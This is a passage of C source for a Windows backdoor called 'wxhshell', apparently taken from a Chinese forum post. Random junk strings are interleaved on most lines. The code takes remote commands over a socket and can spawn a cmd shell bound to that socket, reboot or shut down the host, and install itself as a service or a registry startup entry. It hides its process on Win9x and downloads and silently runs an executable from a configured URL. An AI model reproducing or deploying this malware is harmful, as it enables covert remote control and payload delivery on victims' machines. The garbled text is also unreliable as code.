zY|t0H  
    switch(cmd[0]) { Svc|0Ad&  
  oXxCXO,q  
  // 帮助 fRtUvC-#H  
  case '?': { I9:Cb)hbU]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j:E<p_T  
    break; Q(<)KZIK  
  } @1DX  
  // 安装 cfcim.jB  
  case 'i': { 8"dv_`ym  
    if(Install()) ?pn}s]*/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb1`UG"h$  
    else u86"Y ^d#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \8<BLmf4U  
    break; Bx/L<J@  
    } f}1&HI8r  
  // 卸载 xZ4~Oo@@_'  
  case 'r': { hRty [  
    if(Uninstall()) Dh5X/y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M#~Cc~oT  
    else \T <$9aNb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T}"6wywM  
    break; uO=aaKG  
    } );Z1a&K5k  
  // 显示 wxhshell 所在路径 Sh?4r i@:  
  case 'p': { q-c=nkN3  
    char svExeFile[MAX_PATH]; B<~ NS)w  
    strcpy(svExeFile,"\n\r"); {K9/H qH  
      strcat(svExeFile,ExeFile); rMUT_^  
        send(wsh,svExeFile,strlen(svExeFile),0); U7I qST  
    break; 3:8{"md@2  
    } Hd,p!_  
  // 重启 I_xX Dr  
  case 'b': { f-5:wM&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %K>.lh@  
    if(Boot(REBOOT)) 1qf!DMcdZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CMn{LQcC  
    else { hWKJ,r%9;  
    closesocket(wsh); NMww>80  
    ExitThread(0); * 1Od-3  
    } t 0-(U\  
    break; Rr!Y3)f;  
    } {; .T7dL  
  // 关机 ^D<r  
  case 'd': { ed:@C?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <x&%~6j  
    if(Boot(SHUTDOWN)) ^|TG$`M(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bd<m%OM""  
    else { F35#dIs`&  
    closesocket(wsh); A0Zt8>w  
    ExitThread(0); !>>f(t4  
    } !w H'b  
    break; !vk|<P1  
    } 2KQoy;  
  // 获取shell 1?| f lK  
  case 's': { ;s~X  
    CmdShell(wsh); V=lfl1Ev0J  
    closesocket(wsh); -CRra EXf8  
    ExitThread(0); U-:ieao@  
    break; j~FD{%4N  
  } tqy@iEz+  
  // 退出 on8WQf'A#  
  case 'x': { MSV2ip3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5r?m&28X  
    CloseIt(wsh); TuW/N L|  
    break; UThB7(O,  
    } ) /v6l  
  // 离开 e5OsI Vtjr  
  case 'q': { HFqm6|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); meCC?YAB  
    closesocket(wsh); >/#KI~}'N  
    WSACleanup(); t#S<iBAZ  
    exit(1); ?h0X,fl3  
    break; ^+ wD43  
        } Vf`7V$sr  
  } <BW[1h1k5_  
  } T<I=%P)  
8v7 1e>  
  // 提示信息 >j{z>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~h"/Tce  
} Lgz$]Jbl8  
  } .c#y%S  
3b YCOqG  
  return; < Z|Ep1W  
} .@"q$\  
k/03ZxC-  
// shell模块句柄 HK~xOAF  
int CmdShell(SOCKET sock) 9z I.pv+]  
{ |8bq>01~  
STARTUPINFO si; 4G@nZn  
ZeroMemory(&si,sizeof(si)); zd_HxYrN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TM8 =U-A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~w</!s  
PROCESS_INFORMATION ProcessInfo; }P3tn  
char cmdline[]="cmd"; ;Efcw[<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kF;5L)o  
  return 0; o&hIHfZri  
} cE iu)2*e  
x"4} isp<  
// 自身启动模式 + <c^=&7Lq  
int StartFromService(void) E(Rh#+]Y5  
{ ]MtFf6&  
typedef struct .P$IJUYO  
{ +uWYK9  
  DWORD ExitStatus; =TP( UJ  
  DWORD PebBaseAddress; ^Cv^yTj;&  
  DWORD AffinityMask; 3K@@D B6  
  DWORD BasePriority; jxgj,h"}9`  
  ULONG UniqueProcessId; Zs2-u^3&  
  ULONG InheritedFromUniqueProcessId; U Q@7n1  
}   PROCESS_BASIC_INFORMATION; a4gi,pz$]  
QFPfIb/  
PROCNTQSIP NtQueryInformationProcess; }%TSGC4{  
S<nq8Ebmw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?hYqcT[%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?@6/Alk  
7:NmCpgL!  
  HANDLE             hProcess; z5Qs @dG  
  PROCESS_BASIC_INFORMATION pbi; ]+DI.%   
4*Z6}"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [O ",  
  if(NULL == hInst ) return 0; 9H]_4?aX  
1on'^8]0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fR-C0"c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "()sb?&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T:asm1BC[  
}iBC@`mg(  
  if (!NtQueryInformationProcess) return 0; Zt3}Z4d  
r!N]$lB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9O,,m~B  
  if(!hProcess) return 0; eyw'7  
Bz2'=~J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R@T6U:1  
PHM:W%g:  
  CloseHandle(hProcess); t@bt6J .{  
x;BbTBc>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }ublR&zlp  
if(hProcess==NULL) return 0; K% KZO`gO  
K=u0nrG*  
HMODULE hMod; CidM(  
char procName[255]; QYE7p\  
unsigned long cbNeeded; q<=: >?  
T*q"N?/4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >N`6;gn*l  
\Xg?Ug*9w  
  CloseHandle(hProcess); wod/&!)]A  
[!*xO?yCJ  
if(strstr(procName,"services")) return 1; // 以服务启动 t)1phg4H)  
nZvU 'k:  
  return 0; // 注册表启动 V/#v\*JHFc  
} ( 76{2  
aSnp/g  
// 主模块 1IA5.@G:  
int StartWxhshell(LPSTR lpCmdLine) DR+,Y2!_GT  
{ 7t(Y;4<2  
  SOCKET wsl; ~5#)N{GbY  
BOOL val=TRUE; qJs[i>P[W  
  int port=0; D,W\ gP/h%  
  struct sockaddr_in door; pVokgUrC  
mA{#]Yvf1  
  if(wscfg.ws_autoins) Install(); eO4)|tW  
 Q9y*:  
port=atoi(lpCmdLine); K r3];(w{  
6&!l'[hU  
if(port<=0) port=wscfg.ws_port; @&R1wr1>I5  
C!UEXj`l9  
  WSADATA data; C-#.RI7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;h+q  
X5E '*W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m6so]xr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V<0$xV1b|=  
  door.sin_family = AF_INET; i:Mc(mW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x0x $  9  
  door.sin_port = htons(port); ,olwwv_8G  
6F5,3&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dc:DY:L^  
closesocket(wsl); swZpWC  
return 1; 46ChMTt  
} {E~l>Z88  
u5E/m  
  if(listen(wsl,2) == INVALID_SOCKET) { u9>6|w+  
closesocket(wsl); @&:VKpu\  
return 1; ;eR{tH /4  
} ,kE=TR.|  
  Wxhshell(wsl); C"No5r'K3  
  WSACleanup(); D=9}|b/  
cs5ix"1A  
return 0; '^1o/C  
]PVt o\B=  
} PN9^[X  
J{H?xc o  
// 以NT服务方式启动 Y UZKle  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | XLFV  
{ ?d,M.o{0]  
DWORD   status = 0; KL~AzLI  
  DWORD   specificError = 0xfffffff; Gbx";Y8  
'_E c_F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4(sttd_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9TW8o}k`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  3se$,QmN  
  serviceStatus.dwWin32ExitCode     = 0; LO}z)j~W  
  serviceStatus.dwServiceSpecificExitCode = 0; p\ok_*b  
  serviceStatus.dwCheckPoint       = 0; '{W3j^m7  
  serviceStatus.dwWaitHint       = 0; L`pY27 |  
QB9A-U <J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j #es2;  
  if (hServiceStatusHandle==0) return; Avd *~  
h;}ODK(.  
status = GetLastError(); +<B|qcT!  
  if (status!=NO_ERROR) 5"e+& zU~f  
{ mQnL<0_<f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XP4jZCt9  
    serviceStatus.dwCheckPoint       = 0; \@:j  
    serviceStatus.dwWaitHint       = 0; /6smVz@O  
    serviceStatus.dwWin32ExitCode     = status; d{l{P] nr  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?AT(S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ki63Ox^O  
    return; fYs?D+U;PF  
  } YjL t&D:IZ  
Djyp3uUA/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \E~Q1eAJT  
  serviceStatus.dwCheckPoint       = 0; CCn/ udp@  
  serviceStatus.dwWaitHint       = 0; KDX$.$#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0+p 5/5  
} %/X2 l  
O68bzi]  
// 处理NT服务事件,比如:启动、停止 gDMAc/V`l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h9U+ %=^O  
{ v/ eB,p  
switch(fdwControl) (A2U~j?Ry}  
{ qZ233pc  
case SERVICE_CONTROL_STOP: /jvO XS\M  
  serviceStatus.dwWin32ExitCode = 0; #Af)n(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d`UF0T  
  serviceStatus.dwCheckPoint   = 0; 1"M"h_4  
  serviceStatus.dwWaitHint     = 0;  w}"!l G  
  { W.z$a.<(rF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E}Ljo  
  } <Ak:8&$O  
  return; q$3HvZP  
case SERVICE_CONTROL_PAUSE: >Sh0dFqeT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G]at{(^Vz  
  break; %;'~%\|dZM  
case SERVICE_CONTROL_CONTINUE: _ \_3s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ys/`{:w8p  
  break; j-j'phK  
case SERVICE_CONTROL_INTERROGATE: >s44  
  break; =z+-l5Gu"  
}; sw[<VsxjR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YmZC?x_{M2  
} mf+K{y,L  
-6(h@F%E  
// 标准应用程序主函数 m=#aHF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zwKg  
{ mi*:S%;h  
GOUY_&}tL  
// 获取操作系统版本 o-L|"3 P  
OsIsNt=GetOsVer(); IvPA|8(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oZ?IR#^  
f S(^["*G  
  // 从命令行安装 e|S+G6 :O2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,oC= {^l{  
pHq{S;R2G  
  // 下载执行文件 ~3LhcU-  
if(wscfg.ws_downexe) { ?psOj%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wa9'2a1?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZJ;wRd@  
} }w;Q^EU  
%Y#[% ~|(  
if(!OsIsNt) { cP/F| uG5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?FkQe~FN{  
HideProc(); Fcu Eeca  
StartWxhshell(lpCmdLine); de3yP,  
} =e"H1^Ml  
else V#n?&-{V  
  if(StartFromService()) +OV%B .  
  // 以服务方式启动 : OS mr  
  StartServiceCtrlDispatcher(DispatchTable); \c5#\1<  
else wFKuSd  
  // 普通方式启动 sDz)_;;%  
  StartWxhshell(lpCmdLine); %!N2!IiVs  
dVY(V&p  
return 0; HYa$EE2  
}
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只看该作者 1 发表于: 2006-10-10
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